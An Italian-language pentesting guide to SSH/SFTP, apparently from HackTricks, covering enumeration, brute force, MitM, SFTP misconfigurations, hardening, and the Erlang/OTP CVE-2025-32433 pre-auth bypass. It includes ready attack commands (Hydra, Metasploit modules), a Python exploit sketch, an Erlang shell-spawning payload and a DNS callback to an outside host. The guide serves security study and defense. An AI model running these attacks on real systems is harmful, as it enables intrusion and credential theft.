22 - Pentesting SSH/SFTP

Reading time: 16 minutes

Informazioni di base

SSH (Secure Shell o Secure Socket Shell) è un protocollo di rete che consente una connessione sicura a un computer su una rete non sicura. È essenziale per mantenere la riservatezza e l'integrità dei dati durante l'accesso a sistemi remoti.

Porta predefinita: 22

22/tcp open  ssh     syn-ack

Server SSH:

• openSSH – OpenBSD SSH, fornito in BSD, distribuzioni Linux e Windows da Windows 10
• Dropbear – implementazione SSH per ambienti con risorse di memoria e processore limitate, fornito in OpenWrt
• PuTTY – implementazione SSH per Windows, il client è comunemente usato ma l'uso del server è più raro
• CopSSH – implementazione di OpenSSH per Windows

Librerie SSH (implementando lato server):

• libssh – libreria C multipiattaforma che implementa il protocollo SSHv2 con binding in Python, Perl e R; è usata da KDE per sftp e da GitHub per l'infrastruttura git SSH
• wolfSSH – libreria server SSHv2 scritta in ANSI C e mirata per ambienti embedded, RTOS e con risorse limitate
• Apache MINA SSHD – libreria java Apache SSHD basata su Apache MINA
• paramiko – libreria protocollo SSHv2 per Python

Enumerazione

Acquisizione Banner

nc -vn <IP> 22

Audit ssh automatizzato

ssh-audit è uno strumento per l'audit della configurazione del server e del client ssh.

https://github.com/jtesta/ssh-audit è un fork aggiornato di https://github.com/arthepsy/ssh-audit/

Caratteristiche:

• Supporto per i protocolli SSH1 e SSH2;
• analizza la configurazione del client SSH;
• acquisisce banner, riconosce dispositivo o software e sistema operativo, rileva compressione;
• raccoglie algoritmi di scambio chiave, chiave host, crittografia e codice di autenticazione del messaggio;
• fornisce informazioni sugli algoritmi (disponibile da, rimosso/disabilitato, non sicuro/debole/legacy, ecc);
• fornisce raccomandazioni sugli algoritmi (aggiungi o rimuovi in base alla versione del software riconosciuta);
• fornisce informazioni sulla sicurezza (problemi correlati, elenco CVE assegnati, ecc);
• analizza la compatibilità della versione SSH basata sulle informazioni sugli algoritmi;
• informazioni storiche da OpenSSH, Dropbear SSH e libssh;
• funziona su Linux e Windows;
• nessuna dipendenza

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

Guarda in azione (Asciinema)

Chiave SSH pubblica del server

ssh-keyscan -t rsa <IP> -p <PORT>

Algoritmi di Cifratura Deboli

Questo viene scoperto per impostazione predefinita da nmap. Ma puoi anche usare sslcan o sslyze.

Script Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Forza bruta di nomi utente, password e chiavi private

Enumerazione dei nomi utente

In alcune versioni di OpenSSH puoi effettuare un attacco temporale per enumerare gli utenti. Puoi utilizzare un modulo di metasploit per sfruttare questo:

msf> use scanner/ssh/ssh_enumusers

Brute force

Alcune credenziali ssh comuni qui e qui e di seguito.

Private Key Brute Force

Se conosci alcune chiavi private ssh che potrebbero essere utilizzate... proviamole. Puoi usare lo script nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

O il modulo ausiliario MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

Or use ssh-keybrute.py (python3 nativo, leggero e con algoritmi legacy abilitati): snowdroppe/ssh-keybrute.

Le badkeys conosciute possono essere trovate qui:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Chiavi SSH deboli / PRNG prevedibile di Debian

Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere forzato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: g0tmi1k/debian-ssh.

Dovresti guardare qui per cercare chiavi valide per la macchina vittima.

Kerberos

crackmapexec utilizzando il protocollo ssh può usare l'opzione --kerberos per autenticarsi tramite kerberos.
Per ulteriori informazioni esegui crackmapexec ssh --help.

Credenziali predefinite

SSH-MitM

Se sei nella rete locale come la vittima che si connetterà al server SSH utilizzando nome utente e password, potresti provare a eseguire un attacco MitM per rubare quelle credenziali:

Percorso dell'attacco:

• Reindirizzamento del traffico: L'attaccante dirotta il traffico della vittima verso la propria macchina, intercettando effettivamente il tentativo di connessione al server SSH.
• Intercettazione e registrazione: La macchina dell'attaccante funge da proxy, catturando i dettagli di accesso dell'utente fingendo di essere il legittimo server SSH.
• Esecuzione di comandi e inoltro: Infine, il server dell'attaccante registra le credenziali dell'utente, inoltra i comandi al vero server SSH, li esegue e invia i risultati all'utente, facendo apparire il processo fluido e legittimo.

SSH MITM fa esattamente ciò che è descritto sopra.

Per catturare e eseguire il vero MitM, potresti utilizzare tecniche come ARP spoofing, DNS spoofing o altre descritte negli attacchi di spoofing di rete.

SSH-Snake

Se desideri attraversare una rete utilizzando chiavi private SSH scoperte sui sistemi, utilizzando ogni chiave privata su ciascun sistema per nuovi host, allora SSH-Snake è ciò di cui hai bisogno.

SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:

1. Sul sistema attuale, trova eventuali chiavi private SSH,
2. Sul sistema attuale, trova eventuali host o destinazioni (user@host) che potrebbero accettare le chiavi private,
3. Tenta di SSH in tutte le destinazioni utilizzando tutte le chiavi private scoperte,
4. Se una destinazione è connessa con successo, ripete i passaggi #1 - #4 sul sistema connesso.

È completamente auto-replicante e auto-propagante -- e completamente senza file.

Configurazioni errate

Accesso root

È comune che i server SSH consentano l'accesso dell'utente root per impostazione predefinita, il che rappresenta un rischio significativo per la sicurezza. Disabilitare l'accesso root è un passo critico per mettere in sicurezza il server. L'accesso non autorizzato con privilegi amministrativi e gli attacchi di forza bruta possono essere mitigati apportando questa modifica.

Per disabilitare l'accesso root in OpenSSH:

1. Modifica il file di configurazione SSH con: sudoedit /etc/ssh/sshd_config
2. Cambia l'impostazione da #PermitRootLogin yes a PermitRootLogin no.
3. Ricarica la configurazione utilizzando: sudo systemctl daemon-reload
4. Riavvia il server SSH per applicare le modifiche: sudo systemctl restart sshd

Forza bruta SFTP

• Forza bruta SFTP

Esecuzione di comandi SFTP

C'è una comune svista che si verifica con le configurazioni SFTP, dove gli amministratori intendono che gli utenti scambino file senza abilitare l'accesso alla shell remota. Nonostante impostino gli utenti con shell non interattive (ad esempio, /usr/bin/nologin) e li confinino in una directory specifica, rimane una falla di sicurezza. Gli utenti possono eludere queste restrizioni richiedendo l'esecuzione di un comando (come /bin/bash) immediatamente dopo il login, prima che la loro shell non interattiva designata prenda il controllo. Questo consente l'esecuzione non autorizzata di comandi, minando le misure di sicurezza previste.

Esempio da qui:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Ecco un esempio di configurazione SFTP sicura (/etc/ssh/sshd_config – openSSH) per l'utente noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Questa configurazione consentirà solo SFTP: disabilitando l'accesso alla shell forzando il comando di avvio e disabilitando l'accesso TTY, ma anche disabilitando ogni tipo di port forwarding o tunneling.

SFTP Tunneling

Se hai accesso a un server SFTP, puoi anche tunnelare il tuo traffico attraverso questo, ad esempio utilizzando il port forwarding comune:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

Il sftp ha il comando "symlink". Pertanto, se hai diritti di scrittura in una cartella, puoi creare symlink di altre cartelle/file. Poiché sei probabilmente intrappolato all'interno di un chroot, questo non sarà particolarmente utile per te, ma, se puoi accedere al symlink creato da un servizio no-chroot (ad esempio, se puoi accedere al symlink dal web), potresti aprire i file symlinkati attraverso il web.

Ad esempio, per creare un symlink da un nuovo file "froot" a "/":

sftp> symlink / froot

Se puoi accedere al file "froot" tramite web, sarai in grado di elencare la cartella root ("/") del sistema.

Metodi di autenticazione

In ambienti ad alta sicurezza è una pratica comune abilitare solo l'autenticazione basata su chiave o l'autenticazione a due fattori piuttosto che la semplice autenticazione basata su password. Ma spesso i metodi di autenticazione più forti sono abilitati senza disabilitare quelli più deboli. Un caso frequente è l'abilitazione di publickey nella configurazione di openSSH e la sua impostazione come metodo predefinito, ma senza disabilitare password. Quindi, utilizzando la modalità verbosa del client SSH, un attaccante può vedere che un metodo più debole è abilitato:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Ad esempio, se è impostato un limite di errori di autenticazione e non hai mai la possibilità di accedere al metodo della password, puoi utilizzare l'opzione PreferredAuthentications per forzare l'uso di questo metodo.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Esaminare la configurazione del server SSH è necessario per verificare che siano autorizzati solo i metodi previsti. Utilizzare la modalità verbosa sul client può aiutare a vedere l'efficacia della configurazione.

Config files

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Bypass della Macchina a Stati dell'Autenticazione (RCE Pre-Auth)

Diverse implementazioni del server SSH contengono difetti logici nella macchina a stati finiti per l'autenticazione che consentono a un client di inviare messaggi protocollo di connessione prima che l'autenticazione sia completata. Poiché il server non verifica di essere nello stato corretto, quei messaggi vengono gestiti come se l'utente fosse completamente autenticato, portando a esecuzione di codice non autenticato o creazione di sessioni.

A livello di protocollo, qualsiasi messaggio SSH con un codice messaggio ≥ 80 (0x50) appartiene allo strato connessione (RFC 4254) e deve essere accettato solo dopo un'autenticazione riuscita (RFC 4252). Se il server elabora uno di quei messaggi mentre è ancora nello stato SSH_AUTHENTICATION, l'attaccante può immediatamente creare un canale e richiedere azioni come l'esecuzione di comandi, il port forwarding, ecc.

Passi Generici di Sfruttamento

1. Stabilire una connessione TCP alla porta SSH del target (comunemente 22, ma altri servizi possono esporre Erlang/OTP su 2022, 830, 2222…).
2. Creare un pacchetto SSH raw:

• 4-byte packet_length (big-endian)
• 1-byte message_code ≥ 80 (ad es. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Payload che sarà compreso dal tipo di messaggio scelto

3. Inviare il pacchetto(i) prima di completare qualsiasi passo di autenticazione.
4. Interagire con le API del server che ora sono esposte pre-auth (esecuzione di comandi, port forwarding, accesso al file system, …).

Schema di proof-of-concept in Python:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

In pratica, sarà necessario eseguire (o saltare) lo scambio di chiavi in base all'implementazione target, ma nessuna autenticazione viene mai eseguita.

Erlang/OTP sshd (CVE-2025-32433)

• Versioni interessate: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Causa principale: il demone SSH nativo di Erlang non convalida lo stato attuale prima di invocare ssh_connection:handle_msg/2. Pertanto, qualsiasi pacchetto con un codice messaggio da 80 a 255 raggiunge il gestore della connessione mentre la sessione è ancora nello stato userauth.
• Impatto: esecuzione di codice remoto non autenticata (il demone di solito viene eseguito come root su dispositivi embedded/OT).

Esempio di payload che genera una shell inversa legata al canale controllato dall'attaccante:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / rilevamento out-of-band può essere eseguito tramite DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Rilevamento e Mitigazione:

• Ispezionare il traffico SSH: scartare qualsiasi pacchetto con codice messaggio ≥ 80 osservato prima dell'autenticazione.
• Aggiornare Erlang/OTP a 27.3.3 / 26.2.5.11 / 25.3.2.20 o versioni successive.
• Limitare l'esposizione delle porte di gestione (22/2022/830/2222) – specialmente su attrezzature OT.

Altre Implementazioni Colpite

• libssh 0.6 – 0.8 (lato server) – CVE-2018-10933 – accetta un SSH_MSG_USERAUTH_SUCCESS non autenticato inviato dal client, effettivamente il difetto logico inverso.

La lezione comune è che qualsiasi deviazione dalle transizioni di stato richieste dal RFC può essere fatale; quando si esaminano o si fuzzano i demoni SSH, prestare particolare attenzione all'applicazione della macchina a stati.

Riferimenti

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• Guide di indurimento SSH
• Guida al hacking SSH di Turgensec

Comandi Automatici HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'